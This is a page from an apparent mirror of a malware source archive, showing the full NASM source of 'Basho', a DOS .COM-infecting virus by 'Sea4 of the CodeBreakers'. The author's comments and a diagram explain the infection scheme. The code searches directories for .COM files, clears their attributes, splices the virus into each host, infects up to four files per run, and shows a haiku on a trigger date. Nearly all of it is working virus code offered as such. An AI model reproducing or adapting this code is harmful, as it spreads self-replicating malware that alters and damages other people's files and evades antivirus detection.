mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-21 10:56:10 +00:00
332 lines
12 KiB
NASM
332 lines
12 KiB
NASM
|
; NAME: Basho.com
|
||
|
; SIZE: 431 bytes
|
||
|
; AUTHOR: Sea4
|
||
|
; TYPE: Appending in a weird way.
|
||
|
; ENCRYPTION: No
|
||
|
; DT: Yes
|
||
|
; STEALTH: No
|
||
|
; REPAIRABLE: Yes
|
||
|
; PAYLOAD: Yes
|
||
|
; RESIDENT: No
|
||
|
; ROI: 4 files per run
|
||
|
; POLYMORPHIC: No
|
||
|
|
||
|
; Explanation.
|
||
|
; Its not very easy to understand at first glance how it even possibly works.
|
||
|
; But the plain and simple fact is that it DOES work, and it works well. I
|
||
|
; thought of the concept right before I went to sleep the other night, maybe
|
||
|
; I was having hallucinations or something. I am not even sure if its an
|
||
|
; original idea. But I like it!
|
||
|
|
||
|
; WTF it does:
|
||
|
; Upon execution the JMP at the beginning of the infected file will jump to
|
||
|
; what I call the virus' launching pad. Its does a few menial tasks like
|
||
|
; saving/restoring program code and the DTA. It also launches the true virus.
|
||
|
; The true virus is stored where actual program code used to be, I call that
|
||
|
; area of program code P3.
|
||
|
; P1 = Is the area the infecting JMP is stored.
|
||
|
; P2 = Is the middle of infected program.
|
||
|
; P3 = The last bytes of program that have been moved to
|
||
|
; make room for Basho.
|
||
|
; V1 = Main Body of BASHO
|
||
|
; V2 = Launching Pad
|
||
|
; Upon execution of the true virus code, files will be infected, and the bomb
|
||
|
; will be tested, etc. etc. Afterward the True Virus Code will RET back to
|
||
|
; the launchpad, and the P3 area will be restored as well as the DTA, and
|
||
|
; the host file will be run 100% without error. ( or at least I think so ).
|
||
|
|
||
|
; Why the hell I did it:
|
||
|
; Just to confuse everyone, including the AV companies and myself.
|
||
|
|
||
|
; -- Sea4 of the CodeBreakers
|
||
|
|
||
|
;***************************************************************
|
||
|
; A little Map
|
||
|
;============== ==============
|
||
|
;| | |____________| <-- Jmp To Launching
|
||
|
;| | | | Pad ( P1 )
|
||
|
;| | | Program |
|
||
|
;| UnInfected | | bytes that |
|
||
|
;| Host | | are not |
|
||
|
;| | | affected. |
|
||
|
;| | | ( P2 ) |
|
||
|
;| | | |
|
||
|
;| | | |
|
||
|
;| | | |
|
||
|
;| | |____________|
|
||
|
;| | | |
|
||
|
;| | File Length | Main body |
|
||
|
;| | Before Infect.| of BASHO. |
|
||
|
;| | | | ( V1 ) |
|
||
|
;| | | | * | <-- Ret to Launch Pad
|
||
|
;============== <<- - - ->> ==============
|
||
|
; | Bytes moved|
|
||
|
; Additional Area |to make room|
|
||
|
; Now that file has been |for BASHO. |
|
||
|
; infected with BASHO | ( P3 ) |
|
||
|
; |____________|
|
||
|
; |Launch Pad |
|
||
|
; P3 and the main body | ( V2 ) |
|
||
|
; of BASHO have the same ============== <-- New file length
|
||
|
; length.
|
||
|
;
|
||
|
;***************************************************************
|
||
|
|
||
|
start:
|
||
|
jmp StartV2
|
||
|
|
||
|
startV1: ; Actual Virus code
|
||
|
V1Length EQU endV1-startV1
|
||
|
|
||
|
mov [bp+victims],cl ; Starts at 0 for victem count
|
||
|
|
||
|
mov ah,47h ; Function 47h: Get Current Directory
|
||
|
cwd ; 00h in DL = Default Drive
|
||
|
lea si,[bp+Cur_DIR] ; 64 byte buffer for pathname
|
||
|
int 21h ; Calls DOS to write current DIR to CurDIR
|
||
|
|
||
|
Dot_Dot:
|
||
|
jmp short infectDIR
|
||
|
Next_Dir:
|
||
|
mov ah,3Bh ; Function 3Bh: Change Directory
|
||
|
lea dx,[bp+Dot_mask] ; Saved starting directory
|
||
|
int 21h ; Calls DOS or Dir Change
|
||
|
jnc Dot_Dot
|
||
|
|
||
|
jmp Badstuff ; All directories have been killed, lets go
|
||
|
|
||
|
InfectDIR:
|
||
|
; Here is our find file thingy
|
||
|
mov ah,4Eh ; Find files
|
||
|
mov cx,7 ; Looking for all file types
|
||
|
lea dx,[bp+com_mask] ; Points to the *.com
|
||
|
FindNext:
|
||
|
int 21h ; Find all the com files
|
||
|
|
||
|
jnc Open ; Success
|
||
|
jmp Next_DIR ; None left in this directory, lets move
|
||
|
|
||
|
Move_FP: ; Move file Pointer call
|
||
|
mov ax,4200h
|
||
|
Here:
|
||
|
xor cx,cx
|
||
|
int 21h
|
||
|
ret
|
||
|
|
||
|
Open:
|
||
|
; Set attrib to 0, so we can write over read only files and such
|
||
|
mov ax,4301h ; Set attrib to 0
|
||
|
lea dx,[bp+File_name]
|
||
|
Call Here
|
||
|
|
||
|
; Opens file for read/write access
|
||
|
mov ax,3D02h ; Open File
|
||
|
int 21h
|
||
|
|
||
|
xchg bx,ax ; Gives the file handle from AX to BX in one byte.
|
||
|
|
||
|
mov ah,3Fh ; Read first three bytes
|
||
|
mov cl,3 ; 3 bytes, CX holds number of bytes to read
|
||
|
lea dx,[bp+saved] ; Buffer for saved bytes :)
|
||
|
int 21h ; Tells DOS to read 'em
|
||
|
|
||
|
; Check infection criteria
|
||
|
; If file is too large it may crash, and too small is easily noticable
|
||
|
xor cx,cx ; See if file is larger than 1 segment
|
||
|
cmp cx,[bp+File_size_off] ; 9Ch holds the segment size, Basho doesn't handle
|
||
|
; files larger than one segment, so we can't
|
||
|
; infect something larger than FFFFh bytes
|
||
|
jnz Close ; Its more than 1 segment lets escape
|
||
|
|
||
|
mov ax,[bp+File_size] ; Retrieves offset size of target file
|
||
|
|
||
|
; File must be greater than 1k
|
||
|
; Keeping smaller files from being infected
|
||
|
cmp ax,400h ; 400h = 1024 bytes ( 1k )
|
||
|
jc Close ; Its too small, get the hell outta here
|
||
|
|
||
|
; File must be less than 61440
|
||
|
; Stack errors and wrapping of bytes may occur if the
|
||
|
; file + virus + buffer excedes 1 segment ( FFFFh bytes )
|
||
|
cmp ax,0F000h ; 61440, to provide room for buffer and virus size
|
||
|
jnc Close ; To big, may cause errors, can't do it
|
||
|
|
||
|
push ax ; Saves file size for later
|
||
|
sub ax,3 ; Taking into account the JMP
|
||
|
push ax ; Save that for the new 3 bytes
|
||
|
|
||
|
; Test 2nd + 3rd bytes for JMP location to V2 ( LaunchPad )
|
||
|
; Here we check for previous infection by testing if the jump looks
|
||
|
; like one created by a previous running of Basho.
|
||
|
sub ax,V2Length ; We need the new jump to go to the launch pad
|
||
|
cmp ax,[bp+saved+1] ; Tests if the file has been infected with Basho
|
||
|
jz Close
|
||
|
|
||
|
pop ax ; Retrieves jump location
|
||
|
add ax,V1Length ; Adds the length added by virus
|
||
|
mov [bp+jumpto],ax ; Sets jump location for victim
|
||
|
|
||
|
; Set FP to beginning
|
||
|
xor dx,dx
|
||
|
call Move_FP
|
||
|
|
||
|
; Write new JMP to victim
|
||
|
mov cl,3 ; Length of area to write ( 3 bytes )
|
||
|
lea dx,[bp+jumping] ; its the location of the new JMP
|
||
|
mov ah,40h
|
||
|
int 21h
|
||
|
|
||
|
; Move FP to get bytes from End of victim
|
||
|
; Since DX specifies the location in bytes from beginning we want
|
||
|
; to move the FP, and since we want to move to End of File-V1Length
|
||
|
; We take the entire filesize-V1Length, and move that far from
|
||
|
; the beginning of file.
|
||
|
pop dx ; Retrieves filesize
|
||
|
sub dx,V1Length ; Places location in file at End-V1Length
|
||
|
push dx ; Saves this spot for the write
|
||
|
call Move_FP
|
||
|
|
||
|
; Here is where we retrieve the P3 file bytes and save them for later
|
||
|
mov ah,3Fh ; Function 3Fh: Read from file/device
|
||
|
mov cx,V1Length ; Number of bytes to read
|
||
|
lea dx,[bp+startP3] ; Actual area for file bytes
|
||
|
int 21h ; Duh, it read those bytes into the P3 area
|
||
|
|
||
|
; Now we write the virus code into that area we just made
|
||
|
pop dx ; Retrieves location by previous Move FP
|
||
|
call Move_FP
|
||
|
|
||
|
mov cx,endV2-startV1 ; Now we can just write all that area to
|
||
|
lea dx,[bp+startV1] ; The victem because we have prepared so well :)
|
||
|
mov ah,40h
|
||
|
int 21h
|
||
|
|
||
|
inc Byte Ptr [bp+victims] ; Increments our Byte counter
|
||
|
|
||
|
Close:
|
||
|
mov ax,5701h ; Set Date/Time stamps
|
||
|
mov dx,[bp+File_Date]
|
||
|
mov cx,[bp+File_Time]
|
||
|
int 21h
|
||
|
|
||
|
; Close File
|
||
|
mov ah,3Eh ; Function 3Eh: Close file
|
||
|
int 21h ; Shut that mo fo down
|
||
|
|
||
|
mov ah,43h ; Reset attributes
|
||
|
lea dx,[bp+File_Name]
|
||
|
xor cx,cx
|
||
|
mov cl,[bp+Attributes]
|
||
|
int 21h
|
||
|
|
||
|
mov ch,04h ; Only four files per run
|
||
|
cmp [bp+victims],ch ; Sees if we have had that many so far
|
||
|
jnc BadStuff ; If so, run the bomb sequence
|
||
|
|
||
|
mov ax,4F00h ; Jump to FindNext routines
|
||
|
jmp FindNext
|
||
|
|
||
|
|
||
|
BadStuff: ; Payload
|
||
|
; Before starting the bomb, we head to original DIR
|
||
|
|
||
|
mov ah,3Bh ; Function 3Bh: Change Directory
|
||
|
lea dx,[bp+Cur_DIR]; Saved starting directory
|
||
|
int 21h
|
||
|
|
||
|
; Activation checker
|
||
|
mov ah,04h ; Function 04h: Get Real Time Clock ( Date )
|
||
|
int 1Ah ; INT 1Ah BIOS Time interrupt
|
||
|
; Gets the date and puts the value into the following
|
||
|
; registers.
|
||
|
; CH = Century
|
||
|
; CL = Year
|
||
|
; DH = Month
|
||
|
; DL = Day
|
||
|
|
||
|
cmp dx,0701h ; July 7th, I like this day.
|
||
|
jnz Exit ; Its not the date, we'll try another time
|
||
|
|
||
|
; Just displays a simple message
|
||
|
mov ah,09h ; Function 09h: Write string to std output
|
||
|
lea dx,[bp+message] ; Where the message is stored
|
||
|
int 21h ; Announce our presence
|
||
|
|
||
|
Exit:
|
||
|
mov sp,0FFFCh ; Restores the stack pointer to where the RET should go to
|
||
|
ret ; I did this to make sure it would go back to the right spot
|
||
|
; Then return to caller.
|
||
|
|
||
|
virus_name db '[Basho]',0 ; Named after the poet
|
||
|
author db 'Sea4, CodeBreakers',0 ; Me and who I work for
|
||
|
com_mask db '*.com',0 ; Com file mask
|
||
|
dot_mask db '..',0 ; Dot dot dir mask
|
||
|
saved db 0CDh,20h,00h ; Saved 3 bytes from infected files
|
||
|
jumping db 0E9h ; JMP
|
||
|
jumpto db 0,0 ; Jump to launch pad
|
||
|
message db 'The temple bell stops,',0Dh,0Ah ; A lovely Haiku
|
||
|
db 'But the sound keeps coming',0Dh,0Ah
|
||
|
db 'Out of the flowers.',0Dh,0Ah,'$'
|
||
|
|
||
|
endV1:
|
||
|
|
||
|
|
||
|
startP3: ; Program code that has been moved to accomodate our virus
|
||
|
db V1Length dup (90h)
|
||
|
|
||
|
endP3:
|
||
|
|
||
|
|
||
|
startV2: ; Virus's little launching pad.
|
||
|
V2Length EQU endV2-startv2
|
||
|
|
||
|
; Pretty cut and dry delta offset thing
|
||
|
call Delta ; Gets delta offsets
|
||
|
Delta:
|
||
|
pop bp ; Retrieve Locale for BP
|
||
|
sub bp,offset Delta ; Subtracts that by the original to obtain
|
||
|
; the location moved down in memory
|
||
|
|
||
|
mov ah,1Ah ; Set new DTA, this is a first for me
|
||
|
lea dx,[bp+New_Dta]
|
||
|
int 21h
|
||
|
|
||
|
; Rewrite first three bytes
|
||
|
lea si,[bp+saved] ; Where we saved em
|
||
|
mov di,100h ; Start of Program, ( i.e. where they go )
|
||
|
movsb
|
||
|
movsw
|
||
|
|
||
|
lea di,[bp+BufferP3] ; This block moves P3 code into the buffer so the
|
||
|
lea si,[bp+StartP3] ; when the virus runs, it doesn't get overwritten
|
||
|
mov cx,V1Length ; Length of that area
|
||
|
rep movsb ; Move it out!!
|
||
|
|
||
|
call StartV1 ; Normal Virus Code
|
||
|
|
||
|
lea si,[bp+BufferP3] ; Loads start of moved program code into SI
|
||
|
lea di,[bp+startV1] ; Virus location into DI
|
||
|
mov cx,V1length ; Virus code length
|
||
|
rep movsb ; Restores bytes
|
||
|
|
||
|
; Restores the saved DTA
|
||
|
mov ah,1Ah ; Set original DTA
|
||
|
mov dx,80h
|
||
|
int 21h
|
||
|
|
||
|
push 100h ; We are gonna run the host program now
|
||
|
ret ; Go for it
|
||
|
|
||
|
endV2:
|
||
|
Buffer:
|
||
|
New_Dta db 21 dup (90h) ; DTA!!
|
||
|
Attributes db 00h
|
||
|
File_time dw 00h
|
||
|
File_date dw 00h
|
||
|
File_size dw 00h
|
||
|
File_size_off dw 00h
|
||
|
File_name db 13 dup (0)
|
||
|
victims db 0h ; Victim count
|
||
|
Cur_DIR db 64 dup (0) ; Location of current DIR
|
||
|
BufferP3:
|